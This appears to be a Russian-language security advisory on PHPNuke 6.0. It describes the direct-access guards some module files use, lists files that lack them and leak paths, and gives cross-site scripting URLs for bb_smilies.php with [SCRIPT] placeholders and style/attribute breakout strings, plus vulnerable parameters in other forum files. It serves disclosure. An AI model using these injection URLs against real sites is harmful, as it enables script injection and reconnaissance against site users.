К некоторым включаемым сценариям, которые содержат различные уязвимости, можно обратится напрямую.
Большинство файлов в PHPNuke включается в модули modules.php или index.php. Чтобы предотвратить прямой доступ к
таким сценариям, PHPNuke содержит два способа защиты. 

Первый (например, в modules/Downloads/index.php):

if (!eregi("modules.php", $PHP_SELF)) {
die ("You can't access this file directly...");
}

Второй (например, в footer.php ) :

if (eregi("footer.php",$PHP_SELF)) {
Header("Location: index.php");
die();
}

Однако некоторые файлы не содержат такой защиты, при прямом обращении к ним существует несколько проблем безопасности:

Раскрытие пути

http://[target]/modules/Downloads/voteinclude.php
http://[target]/modules/Your_Account/navbar.php
http://[target]/modules/Forums/attachment.php
http://[target]/modules/Forums/auth.php
http://[target]/modules/News/comments.php
http://[target]/modules/Private_Messages/functions.php
http://[target]/modules/Private_Messages/index.php
http://[target]/modules/Private_Messages/read.php
http://[target]/modules/Private_Messages/reply.php
http://[target]/modules/Web_Links/voteinclude.php
http://[target]/modules/WebMail/contactbook.php?user=1

Раскрытие пути и межсайтовый скриптинг

http://[target]/modules/Forums/bb_smilies.php?name=[SCRIPT]
или http://[target]/modules/Forums/bb_smilies.php?Default_Theme=[SCRIPT]
или http://[target]/modules/Forums/bb_smilies.php?site_font=}--></style>[SCRIPT]
или http://[target]/modules/Forums/bb_smilies.php?bgcolor1=">[SCRIPT]

или с :

$sitename
$table_width
$color1
$forumver

- /modules/Forums/bbcode_ref.php с:

$name
$Default_Theme
$site_font
$sitename
$bgcolor2
$textcolor1
$bgcolor1
$forumver

- /modules/Forums/editpost.php, /modules/Forums/newtopic.php, /modules/Forums/reply.php, /modules/Forums/topicadmin.php,
/modules/Forums/viewforum.php с :

$name

- /modules/Forums/searchbb.php с :

$name
$bgcolor3
$bgcolor1

Уязвимость обнаружена в PHPNUKE 6.0.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии